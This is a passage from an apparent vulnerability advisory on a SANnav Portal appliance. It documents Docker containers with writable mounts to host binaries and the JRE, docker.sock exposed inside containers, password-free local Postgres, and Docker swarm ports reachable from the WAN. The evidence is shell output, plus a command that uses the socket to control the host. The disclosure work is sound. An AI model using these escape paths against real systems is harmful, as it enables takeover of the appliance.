        "Source": "/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/jre",
        "Destination": "/dcm1.0.0/jre",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
    },
    {
        "Type": "bind",
        "Source": "/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/server.properties",
        "Destination": "/dcm1.0.0/conf/server.properties",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
    },
    {
        "Type": "bind",
        "Source": "/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/temp",
        "Destination": "/dcm1.0.0/temp",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
    },
    {
        "Type": "bind",
        "Source": "/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/sannav_support_data",
        "Destination": "/dcm1.0.0/sannav_support_data",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
    },
    {
        "Type": "bind",
        "Source": "/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/backuprestore",
        "Destination": "/dcm1.0.0/backuprestore",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
    }
],
</code></pre>
<p>This allows an attacker to exftiltrate backup files:</p>
<pre><code>[root@sannav-portal-v211:/# ls -la /dcm1.0.0/backuprestore
total 27784
drwxr-xr-x+ 2 1000 1000     4096 Aug  5 09:27 .
drwxr-xr-x. 1 root root     4096 Mar 31 18:54 ..
-rw-rw-r--+ 1 root root 29238172 Jan  1  2022 dcm-cli-ondemand-backup-01-01-2022-01-14-56.tar.gz
root@sannav-portal-v211:/#
</code></pre>
<p>This also allows overwriting the Java Runtime Environment (JRE) located in <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/jre</code>. These programs are used in the host system and in Docker instances (if the attacker achieves a LPE inside the Docker instance).</p>
<p>R/W access to the JRE files from the Docker instance:</p>
<pre><code>[root@sannav-portal-v211:/# ls -la /dcm1.0.0/jre
total 236 
drwxr-xr-x+  5 1000 1000   4096 Nov  9  2020 .
drwxr-xr-x.  1 root root   4096 Mar 31 18:54 ..
-r--r--r--+  1 1000 1000   1522 Nov  9  2020 ASSEMBLY_EXCEPTION
drwxr-xr-x+  2 1000 1000   4096 Dec 15  2020 bin 
drwxr-xr-x+ 10 1000 1000   4096 Dec 15  2020 lib 
-r--r--r--+  1 1000 1000  19274 Nov  9  2020 LICENSE
drwxr-xr-x+  4 1000 1000   4096 Nov  9  2020 man 
-rw-r--r--+  1 1000 1000    325 Nov  9  2020 release
-r--r--r--+  1 1000 1000 154987 Nov  9  2020 THIRD_PARTY_README
root@sannav-portal-v211:/#
</code></pre>
<p>When checking the configuration of postgres, we can confirm no authentication is required when connecting to locahost.</p>
<p>Configuration file of Postgres:</p>
<pre><code>[root@sannav-portal-v211 data]# cat /sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/database/dcm_db/data/pg_hba.conf

# CAUTION: Configuring the system for local "trust" authentication
# allows any local user to connect as any PostgreSQL user, including
# the database superuser.  If you do not trust all your local users,
# use another authentication method.


# TYPE  DATABASE        USER            ADDRESS                 METHOD

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust
# Allow replication connections from localhost, by a user with the 
# replication privilege.
#local   replication     dcmadmin                                trust
#host    replication     dcmadmin        127.0.0.1/32            trust
#host    replication     dcmadmin        ::1/128                 trust

host all all all md5
</code></pre>
<p>Furthermore, the version of Posgres (9.5) is EOL since February 2021:</p>
<pre><code>[root@sannav-portal-v211 data]# cat /sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/database/dcm_db/data/PG_VERSION 
9.5
</code></pre>
<p><a id="insecure-docker-instances"></a></p>
<h2>Details - Insecure Docker instances</h2>
<p>An attacker with access to a Docker instance inside the appliance can take over the appliance by replacing binaries in the <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/jre</code> or the <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/bin</code> directory. The scripts in the bin directory are executed as root on the main host.</p>
<p>Any Docker instance can edit the configuration of the appliance or logs.</p>
<p>Docker instances inside the appliance have insecure mount points, allowing to get read and write access to sensitive files in the main host.</p>
<p>The <code>dcm_2_1_1_cadvisor.1.f5w5yy6zifoa8zh3lc9iuzpo</code> Docker instance has a full read access to the <code>/sannav-portal-v211/docker-home</code> directory, containing the file systems of all the Docker instances.</p>
<p>Output of the <code>docker inspect</code> command of <code>dcm_2_1_1_cadvisor.1.f5w5yy6zifoa8zh3lc9iuzpo</code>:</p>
<pre><code>        {
            "Type": "bind",
            "Source": "/sannav-portal-v211/docker-home",
            "Destination": "/sannav-portal-v211/docker-home",
            "Mode": "",
            "RW": false,
            "Propagation": "rslave"
        },
</code></pre>
<p>It also has a read access of all the configuration files present in <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184</code>.</p>
<p>Output of the <code>docker inspect</code> command of <code>dcm_2_1_1_cadvisor.1.f5w5yy6zifoa8zh3lc9iuzpo</code>:</p>
<pre><code>        {
            "Type": "bind",
            "Source": "/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184",
            "Destination": "/rootfs",
            "Mode": "",
            "RW": false,
            "Propagation": "rprivate"
        },
</code></pre>
<p>Using a shell script to automatically analyze the mount points, we can find several Docker instances with Read/Write access to critical mount points inside the host.</p>
<p>Script shell analyzing the outputs of <code>docker inspect</code> commands:</p>
<pre><code>kali% cat mount.sh 
#!/bin/sh

for j in $(cat mount.txt)
do
  echo
  echo $j
  for i in ????????????
  do
    cat $i | jq -r '.[].Mounts' | grep -A 3 ${j}  | grep '"RW": true,' &gt;/dev/null &amp;&amp; echo -n "  " &amp;&amp; cat $i | jq -r '.[].Name'
  done
done
kali% cat mount.txt 
"/etc/DCM",
"/etc/localtime",
"/sannav-portal-v211/docker-home",
"/sannav-portal-v211/docker-home/volumes/36ea39870a237eb840244f54544a450cd25f92d218d91baf05ae8ab69a9a6a69/_data",
"/sannav-portal-v211/docker-home/volumes/4fc3604e269692b4c5938ee499920ecc7475962bdb76cd413116395f43ee6c17/_data",
"/sannav-portal-v211/docker-home/volumes/5a07f65a4f67ce29ed5b2bc91f229065aa160a916b79f713209472146d0e060a/_data",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/backuprestore",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/bin",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/bin/backuprestore",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/compose",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/elasticsearch/jvm.options",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/nginx",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/nginx/nginx.conf",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/postgres",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/prometheus",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/reportgenerator",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/server.properties",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/wso2",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/database",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/database/dcm_db/data",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/data/callHome",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/data/callHome/report/syr",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/data/filetransfer",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/data/prometheus",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/data/reports",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/elasticsearch/data",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/elasticsearch/esdump",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/elasticsearch/logs",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/jre",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/kafka/certs/caroot",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/kafka/certs/keystore",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/kafka/data/kafka-1/data",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/kafka/data/kafka-1/txlogs",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/lib",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/ignite-grid-node1",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/kafka-1",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/nginx",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/schema-registry",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/wso2",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/zookeeper",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/report",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/sannav_support_data",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/swidtag",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/temp",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/zookeeper/data/zookeeper/data",
"/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/zookeeper/data/zookeeper/txlogs",
"/sys",
"/tmp",
"/tmp/",
"/var/run",
"/var/run/docker.sock",
kali% ls
01f7ea512934  2251bfba8694  3c99644999f0  58098f967ab8  6d72af69c4b1  884be1248e33  b4974a50c49e
bee9fe555098  dfda143af911  f22345536257  f90d98e286ae  12647d5f93ea  2dd6e08889e8  40fa36431ed2
5f67b59a6a74  7be8c664392f  8ab3c851aec8  b6a43751ee5d  cc9c3b6ec2d9  _done         f40c5f57fa49
mount.sh      1c3d9fb1a33d  31de96fd6889  44ab73ba64b7  675c364f5167  82eaab1235cc  9942a51dc33f
b81a84ad73f4  cd1ca666073b  ed28962ee9a4  f41e098298c0  mount.txt     20f193d756ca  35fab5566b1c
5228116a416e  67f747dafd14  871cc736d56d  99ee9d76a50a  bdf543f123c9  d5d671ef3467  efe5fcd3cef2
f5705f9fef27
kali% ./mount.sh
"/etc/DCM",
  /dcm_2_1_1_license-mw.1.zs0l6gi0ciqw62cu2ql996biu
  [...]
</code></pre>
<p>The <code>mount.sh</code> script will output insecure mount points:</p>
<p>R/W Access to <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/backuprestore</code>:</p>
<ul>
<li>/dcm_2_1_1_backuprestore-mw.1.zpqqmm5dxjwpd5vbaa91iqu9x</li>
<li>/dcm_2_1_1_dcm-postgres-db.1.mcdp2z3lp34d5isihk8lu6o6h</li>
</ul>
<p>R/W Access to <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/bin</code>:</p>
<ul>
<li>/dcm_2_1_1_dashboard-summaryprovider.1.u8uha7mufvmfphnwmanrzthgv</li>
<li>/dcm_2_1_1_fe-consolidated-1.1.cwc8pmrcwob0sivongcnw8o8m</li>
<li>/dcm_2_1_1_faultmanagement-backend.1.ke6t2o5dtv1ieg41xw28r4q82</li>
<li>/dcm_2_1_1_ignite-grid-object-manager-node.1.knfke4xd2rutww916akawx0x4</li>
<li>/dcm_2_1_1_filters-contextsearch-middleware.1.tziel666fllkwfj1trxky958y</li>
<li>/dcm_2_1_1_authentication-rbac-middleware.1.d19zdz97oeaexukqqdo762vsp</li>
<li>/dcm_2_1_1_supportsave-mw.1.8k4nf2oed3rlmn00vk2c6udmp</li>
<li>/dcm_2_1_1_asyncjobscheduler-worker.1.u74e1dapsggi7tvl6cost8fgs</li>
<li>/dcm_2_1_1_license-mw.1.zs0l6gi0ciqw62cu2ql996biu</li>
<li>/dcm_2_1_1_externalapi-middleware.1.loovm2l8nx5y31mbuj5609u7r</li>
<li>/dcm_2_1_1_performancemanagement-datastore.1.qjfrhpjgsv8wfebsx29c2jg6b</li>
<li>/dcm_2_1_1_reportgenerator.1.43z628e4fvtyahtd4c7q5l12l</li>
<li>/dcm_2_1_1_troubleshooting.1.tpipiw85xeojvc0syotzwabrs</li>
<li>/dcm_2_1_1_cfgmgmt-policy-middleware.1.q2d4eh0y3to2gc4req6wpw98j</li>
<li>/dcm_2_1_1_performancemanagement-statscollector.1.0bgfuh1nq4j7bib7fk6jwuvlj</li>
<li>/dcm_2_1_1_performancemanagement-middleware.1.m6wzmc73pgg26gwuhmpg1l74x</li>
<li>/dcm_2_1_1_switch-filetransfer-mw.1.ausaed37uog9jnzyxsrxgkmuo</li>
<li>/dcm_2_1_1_topology-middleware.1.tm0jcogi1oir1ufhy91m1pqqu</li>
<li>/dcm_2_1_1_flow-management-mw.1.jadot7kerrt6ywappso7khj86</li>
<li>/dcm_2_1_1_dashboard-middleware.1.0xas72iwheca6ix3axzeymqm1</li>
<li>/dcm_2_1_1_asyncjobscheduler-manager.1.v9bqrdh28ohchqpxmmwttejsd</li>
<li>/dcm_2_1_1_backuprestore-mw.1.zpqqmm5dxjwpd5vbaa91iqu9x</li>
<li>/dcm_2_1_1_g-agent.1.vaegzwy7vgmq7h0njq66fpso6</li>
<li>/dcm_2_1_1_collections-middleware.1.sg938jedpz5ca3n0c5pp0ynhi</li>
<li>/dcm_2_1_1_switch-asset-collectors-mw.1.38bqty706b9lvkbmn9ioegzkb</li>
<li>/dcm_2_1_1_fe-consolidated-2.1.ok1xeb9agbpjmkv1kes43cxdq</li>
<li>/dcm_2_1_1_filetransfer.1.uh461uxa4oa6fgrt1rsz1hac5</li>
<li>/dcm_2_1_1_faultmanagement-collector.1.mg7typw8ef0ph69itrahoes0m</li>
</ul>
<p>R/W Access to <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf</code>:</p>
<ul>
<li>/dcm_2_1_1_dashboard-summaryprovider.1.u8uha7mufvmfphnwmanrzthgv</li>
<li>/dcm_2_1_1_fe-consolidated-1.1.cwc8pmrcwob0sivongcnw8o8m</li>
<li>/dcm_2_1_1_faultmanagement-backend.1.ke6t2o5dtv1ieg41xw28r4q82</li>
<li>/dcm_2_1_1_system-monitor.1.g6x4tf6jqfalrf0khluopbxdy</li>
<li>/dcm_2_1_1_ignite-grid-object-manager-node.1.knfke4xd2rutww916akawx0x4</li>
<li>/dcm_2_1_1_filters-contextsearch-middleware.1.tziel666fllkwfj1trxky958y</li>
<li>/dcm_2_1_1_authentication-rbac-middleware.1.d19zdz97oeaexukqqdo762vsp</li>
<li>/dcm_2_1_1_supportsave-mw.1.8k4nf2oed3rlmn00vk2c6udmp</li>
<li>/dcm_2_1_1_asyncjobscheduler-worker.1.u74e1dapsggi7tvl6cost8fgs</li>
<li>/dcm_2_1_1_license-mw.1.zs0l6gi0ciqw62cu2ql996biu</li>
<li>/dcm_2_1_1_externalapi-middleware.1.loovm2l8nx5y31mbuj5609u7r</li>
<li>/dcm_2_1_1_performancemanagement-datastore.1.qjfrhpjgsv8wfebsx29c2jg6b</li>
<li>/dcm_2_1_1_troubleshooting.1.tpipiw85xeojvc0syotzwabrs</li>
<li>/dcm_2_1_1_cfgmgmt-policy-middleware.1.q2d4eh0y3to2gc4req6wpw98j</li>
<li>/dcm_2_1_1_performancemanagement-statscollector.1.0bgfuh1nq4j7bib7fk6jwuvlj</li>
<li>/dcm_2_1_1_performancemanagement-middleware.1.m6wzmc73pgg26gwuhmpg1l74x</li>
<li>/dcm_2_1_1_switch-filetransfer-mw.1.ausaed37uog9jnzyxsrxgkmuo</li>
<li>/dcm_2_1_1_topology-middleware.1.tm0jcogi1oir1ufhy91m1pqqu</li>
<li>/dcm_2_1_1_flow-management-mw.1.jadot7kerrt6ywappso7khj86</li>
<li>/dcm_2_1_1_dashboard-middleware.1.0xas72iwheca6ix3axzeymqm1</li>
<li>/dcm_2_1_1_asyncjobscheduler-manager.1.v9bqrdh28ohchqpxmmwttejsd</li>
<li>/dcm_2_1_1_backuprestore-mw.1.zpqqmm5dxjwpd5vbaa91iqu9x</li>
<li>/dcm_2_1_1_g-agent.1.vaegzwy7vgmq7h0njq66fpso6</li>
<li>/dcm_2_1_1_collections-middleware.1.sg938jedpz5ca3n0c5pp0ynhi</li>
<li>/dcm_2_1_1_switch-asset-collectors-mw.1.38bqty706b9lvkbmn9ioegzkb</li>
<li>/dcm_2_1_1_fe-consolidated-2.1.ok1xeb9agbpjmkv1kes43cxdq</li>
<li>/dcm_2_1_1_filetransfer.1.uh461uxa4oa6fgrt1rsz1hac5</li>
<li>/dcm_2_1_1_faultmanagement-collector.1.mg7typw8ef0ph69itrahoes0m</li>
</ul>
<p>R/W Access to <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/data/filetransfer</code>:</p>
<ul>
<li>/dcm_2_1_1_faultmanagement-backend.1.ke6t2o5dtv1ieg41xw28r4q82</li>
<li>/dcm_2_1_1_asyncjobscheduler-worker.1.u74e1dapsggi7tvl6cost8fgs</li>
<li>/dcm_2_1_1_switch-filetransfer-mw.1.ausaed37uog9jnzyxsrxgkmuo</li>
<li>/dcm_2_1_1_fe-consolidated-2.1.ok1xeb9agbpjmkv1kes43cxdq</li>
<li>/dcm_2_1_1_filetransfer.1.uh461uxa4oa6fgrt1rsz1hac5</li>
</ul>
<p>R/W Access to <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/data/reports</code>:</p>
<ul>
<li>/dcm_2_1_1_faultmanagement-backend.1.ke6t2o5dtv1ieg41xw28r4q82</li>
<li>/dcm_2_1_1_asyncjobscheduler-worker.1.u74e1dapsggi7tvl6cost8fgs</li>
<li>/dcm_2_1_1_reportgenerator.1.43z628e4fvtyahtd4c7q5l12l</li>
<li>/dcm_2_1_1_dashboard-middleware.1.0xas72iwheca6ix3axzeymqm1</li>
<li>/dcm_2_1_1_backuprestore-mw.1.zpqqmm5dxjwpd5vbaa91iqu9x</li>
<li>/dcm_2_1_1_switch-asset-collectors-mw.1.38bqty706b9lvkbmn9ioegzkb</li>
<li>/dcm_2_1_1_fe-consolidated-2.1.ok1xeb9agbpjmkv1kes43cxdq</li>
<li>/dcm_2_1_1_dcm-postgres-db.1.mcdp2z3lp34d5isihk8lu6o6h</li>
</ul>
<p>R/W Access to <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/jre</code>:</p>
<ul>
<li>/dcm_2_1_1_dcm-wso2.1.0qs30j6381rjhdwnlbcbthe12</li>
<li>/dcm_2_1_1_dcm-postgres-db.1.mcdp2z3lp34d5isihk8lu6o6h</li>
</ul>
<p>R/W Access to <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/lib</code>:</p>
<ul>
<li>/dcm_2_1_1_dcm-wso2.1.0qs30j6381rjhdwnlbcbthe12</li>
<li>/dcm_2_1_1_dcm-postgres-db.1.mcdp2z3lp34d5isihk8lu6o6h</li>
</ul>
<p>R/W Access to <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs</code>:</p>
<ul>
<li>/dcm_2_1_1_dashboard-summaryprovider.1.u8uha7mufvmfphnwmanrzthgv</li>
<li>/dcm_2_1_1_fe-consolidated-1.1.cwc8pmrcwob0sivongcnw8o8m</li>
<li>/dcm_2_1_1_faultmanagement-backend.1.ke6t2o5dtv1ieg41xw28r4q82</li>
<li>/dcm_2_1_1_system-monitor.1.g6x4tf6jqfalrf0khluopbxdy</li>
<li>/dcm_2_1_1_ignite-grid-object-manager-node.1.knfke4xd2rutww916akawx0x4</li>
<li>/dcm_2_1_1_filters-contextsearch-middleware.1.tziel666fllkwfj1trxky958y</li>
<li>/dcm_2_1_1_authentication-rbac-middleware.1.d19zdz97oeaexukqqdo762vsp</li>
<li>/dcm_2_1_1_supportsave-mw.1.8k4nf2oed3rlmn00vk2c6udmp</li>
<li>/dcm_2_1_1_asyncjobscheduler-worker.1.u74e1dapsggi7tvl6cost8fgs</li>
<li>/dcm_2_1_1_license-mw.1.zs0l6gi0ciqw62cu2ql996biu</li>
<li>/dcm_2_1_1_externalapi-middleware.1.loovm2l8nx5y31mbuj5609u7r</li>
<li>/dcm_2_1_1_performancemanagement-datastore.1.qjfrhpjgsv8wfebsx29c2jg6b</li>
<li>/dcm_2_1_1_reportgenerator.1.43z628e4fvtyahtd4c7q5l12l</li>
<li>/dcm_2_1_1_troubleshooting.1.tpipiw85xeojvc0syotzwabrs</li>
<li>/dcm_2_1_1_cfgmgmt-policy-middleware.1.q2d4eh0y3to2gc4req6wpw98j</li>
<li>/dcm_2_1_1_performancemanagement-statscollector.1.0bgfuh1nq4j7bib7fk6jwuvlj</li>
<li>/dcm_2_1_1_performancemanagement-middleware.1.m6wzmc73pgg26gwuhmpg1l74x</li>
<li>/dcm_2_1_1_switch-filetransfer-mw.1.ausaed37uog9jnzyxsrxgkmuo</li>
<li>/dcm_2_1_1_topology-middleware.1.tm0jcogi1oir1ufhy91m1pqqu</li>
<li>/dcm_2_1_1_flow-management-mw.1.jadot7kerrt6ywappso7khj86</li>
<li>/dcm_2_1_1_dashboard-middleware.1.0xas72iwheca6ix3axzeymqm1</li>
<li>/dcm_2_1_1_asyncjobscheduler-manager.1.v9bqrdh28ohchqpxmmwttejsd</li>
<li>/dcm_2_1_1_backuprestore-mw.1.zpqqmm5dxjwpd5vbaa91iqu9x</li>
<li>/dcm_2_1_1_g-agent.1.vaegzwy7vgmq7h0njq66fpso6</li>
<li>/dcm_2_1_1_collections-middleware.1.sg938jedpz5ca3n0c5pp0ynhi</li>
<li>/dcm_2_1_1_dcm-wso2.1.0qs30j6381rjhdwnlbcbthe12</li>
<li>/dcm_2_1_1_switch-asset-collectors-mw.1.38bqty706b9lvkbmn9ioegzkb</li>
<li>/dcm_2_1_1_fe-consolidated-2.1.ok1xeb9agbpjmkv1kes43cxdq</li>
<li>/dcm_2_1_1_filetransfer.1.uh461uxa4oa6fgrt1rsz1hac5</li>
<li>/dcm_2_1_1_faultmanagement-collector.1.mg7typw8ef0ph69itrahoes0m</li>
</ul>
<p>R/W Access to <code>/var/run/docker.sock</code>:</p>
<ul>
<li>/dcm_2_1_1_system-monitor.1.g6x4tf6jqfalrf0khluopbxdy</li>
<li>/dcm_2_1_1_supportsave-mw.1.8k4nf2oed3rlmn00vk2c6udmp</li>
<li>/dcm_2_1_1_license-mw.1.zs0l6gi0ciqw62cu2ql996biu</li>
<li>/dcm_2_1_1_backuprestore-mw.1.zpqqmm5dxjwpd5vbaa91iqu9x</li>
</ul>
<p><a id="insecure-docker-architecture-and-configuration"></a></p>
<h2>Details - Insecure Docker architecture and configuration</h2>
<p>The appliance is based on 40 different Docker instances. A frontal nginx process is used to forward the traffic from the WAN interface to services running in Docker instances.</p>
<p>HTTP communication between the Docker instances is used to transfer information.</p>
<p>When analyzing the configuration of Dockers inside the appliances, some vulnerabilities were found.</p>
<p>The docker daemons are exposed on the WAN interface as shown in the <a href="#incorrect-firewall-rules">Incorrect firewall rules</a> part:</p>
<ul>
<li><code>2377/tcp</code> used for for cluster management;</li>
<li><code>7946/tcp</code> used for communication between the nodes;</li>
<li><code>7946/udp</code> used for communication between the nodes.</li>
</ul>
<p>We can find these ports using netstat:  </p>
<pre><code>[root@sannav-portal-v211 ~]# netstat -laputen|grep 2377
tcp6       0      0 :::2377                 :::*                    LISTEN      0          125620     42071/dockerd    
[root@sannav-portal-v211 ~]# netstat -laputen|grep 7946
tcp6       0      0 :::7946                 :::*                    LISTEN      0          124850     42071/dockerd    
udp6       0      0 :::7946                 :::*                                0          124851     42071/dockerd
</code></pre>
<p>And in the Docker configuration:</p>
<pre><code>[root@sannav-portal-v211 docker]# docker node inspect l2s19lz35s5veaec7gy9w01zc
[...]
        "Status": {
            "State": "ready",
            "Addr": "10.13.3.7"
        },  
        "ManagerStatus": {
            "Leader": true,
            "Reachability": "reachable",
            "Addr": "10.13.3.7:2377"
        }   
    }
</code></pre>
<p>In the 40 Docker instances running in the appliance, it was observed that 4 instances have a full access to the <code>/var/run/docker.sock</code> file, allowing a complete control over the appliance:</p>
<ul>
<li>dcm_2_1_1_system-monitor.1.g6x4tf6jqfalrf0khluopbxdy</li>
<li>dcm_2_1_1_supportsave-mw.1.8k4nf2oed3rlmn00vk2c6udmp</li>
<li>dcm_2_1_1_license-mw.1.zs0l6gi0ciqw62cu2ql996biu</li>
<li>dcm_2_1_1_backuprestore-mw.1.zpqqmm5dxjwpd5vbaa91iqu9x</li>
</ul>
<p>With the command <code>docker inspect target-instance</code>, it is possible to find the <code>/var/run/docker.sock</code> UNIX socket freely reachable. Access to this file provides a full access to the host.</p>
<pre><code>"Mounts": [
    {
        "Type": "bind",
        "Source": "/var/run/docker.sock",
        "Destination": "/var/run/docker.sock",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
    },
</code></pre>
<p>A threat actor in these 4 instances can execute commands on the host using this command:</p>
<pre><code>$ docker -H unix:///var/run/docker.sock ps
</code></pre>
<p>We can confirm this UNIX socket is reachable from Docker instances:</p>
<pre><code>[root@sannav-portal-v211]# docker exec -it 40fa36431ed2 /bin/sh
/ # ls -la /var/run/docker.sock
srw-rw----    1 root     1001             0 Jan 1  2022 /var/run/docker.sock
/ #
</code></pre>
<p>The JAVA processes run as root inside the Docker instances:</p>
<pre><code>[root@sannav-portal-v211 ~]# ps -auxww | grep java|grep root
root      515566  2.8  1.2 11003420 616328 ?     Sl   Jul14 1126:32 java -Xms512m -Xmx512m -XX:MaxMetaspaceSize=256m -Dmanagement.security.enabled=false -XX:+ExitOnOutOfMemoryError -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/dcm1.0.0/logs/flow-management-mw.hprof -XX:+AlwaysPreTouch -XX:+UseG1GC -XX:+ScavengeBeforeFullGC -XX:+DisableExplicitGC -XX:+PrintGC -XX:+PrintGCDetails -XX:+PrintGCTimeStamps -XX:+PrintGCDateStamps -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=3 -XX:GCLogFileSize=100M -Xloggc:/dcm1.0.0/logs/flow-management-mw-2022-07-14_07-58-10-gc.log -XX:ErrorFile=/dcm1.0.0/logs/javaerror/flow-management-mw-hs_err.log -Dlogging.config=/dcm1.0.0/conf/logback/dcm-logback.xml -jar /dcm1.0.0/flow-management-mw-service-1.0.0.jar --server.port=7997
root     3980468  0.1  0.9 2256432 481188 ?      Sl   Mar31 330:51 java -Xms512m -Xmx512m -XX:MaxMetaspaceSize=128m -Dmanagement.security.enabled=false -XX:+ExitOnOutOfMemoryError -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/dcm1.0.0/logs/system-monitor.hprof -XX:+AlwaysPreTouch -XX:+UseG1GC -XX:+ScavengeBeforeFullGC -XX:+DisableExplicitGC -XX:+PrintGC -XX:+PrintGCDetails -XX:+PrintGCTimeStamps -XX:+PrintGCDateStamps -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=3 -XX:GCLogFileSize=100M -Xloggc:/dcm1.0.0/logs/system-monitor-2022-03-31_18-55-16-gc.log -XX:ErrorFile=/dcm1.0.0/logs/javaerror/system-monitor-hs_err.log -Dlogging.config=/dcm1.0.0/conf/logback/dcm-logback.xml -jar /dcm1.0.0/system-monitor-1.0.0.jar --server.port=7097
root     4160496  1.1  1.6 2778272 796456 ?      Sl   Mar31 2182:06 java -Xms256m -Xmx512m -XX:MaxMetaspaceSize=128m -Dmanagement.security.enabled=false -XX:+ExitOnOutOfMemoryError -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/dcm1.0.0/logs/asyncjobscheduler-manager.hprof -XX:+AlwaysPreTouch -XX:+UseG1GC -XX:+ScavengeBeforeFullGC -XX:+DisableExplicitGC -XX:+PrintGC -XX:+PrintGCDetails -XX:+PrintGCTimeStamps -XX:+PrintGCDateStamps -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=3 -XX:GCLogFileSize=100M -Xloggc:/dcm1.0.0/logs/asyncjobscheduler-manager-2022-03-31_19-53-06-gc.log -XX:ErrorFile=/dcm1.0.0/logs/javaerror/asyncjobscheduler-manager-hs_err.log -Dlogging.config=/dcm1.0.0/conf/logback/dcm-logback.xml -jar /dcm1.0.0/asyncjobscheduler-1.0.0.jar --server.port=7052
root     4160502  0.8  1.6 2762648 812208 ?      Sl   Mar31 1670:20 java -Xms512m -Xmx512m -XX:MaxMetaspaceSize=128m -Dmanagement.security.enabled=false -XX:+ExitOnOutOfMemoryError -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/dcm1.0.0/logs/license-mw.hprof -XX:+AlwaysPreTouch -XX:+UseG1GC -XX:+ScavengeBeforeFullGC -XX:+DisableExplicitGC -XX:+PrintGC -XX:+PrintGCDetails -XX:+PrintGCTimeStamps -XX:+PrintGCDateStamps -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=3 -XX:GCLogFileSize=100M -Xloggc:/dcm1.0.0/logs/license-mw-2022-03-31_19-53-06-gc.log -XX:ErrorFile=/dcm1.0.0/logs/javaerror/license-mw-hs_err.log -Dlogging.config=/dcm1.0.0/conf/logback/dcm-logback.xml -jar /dcm1.0.0/licensing-middleware-service-1.0.0.jar --server.port=7056
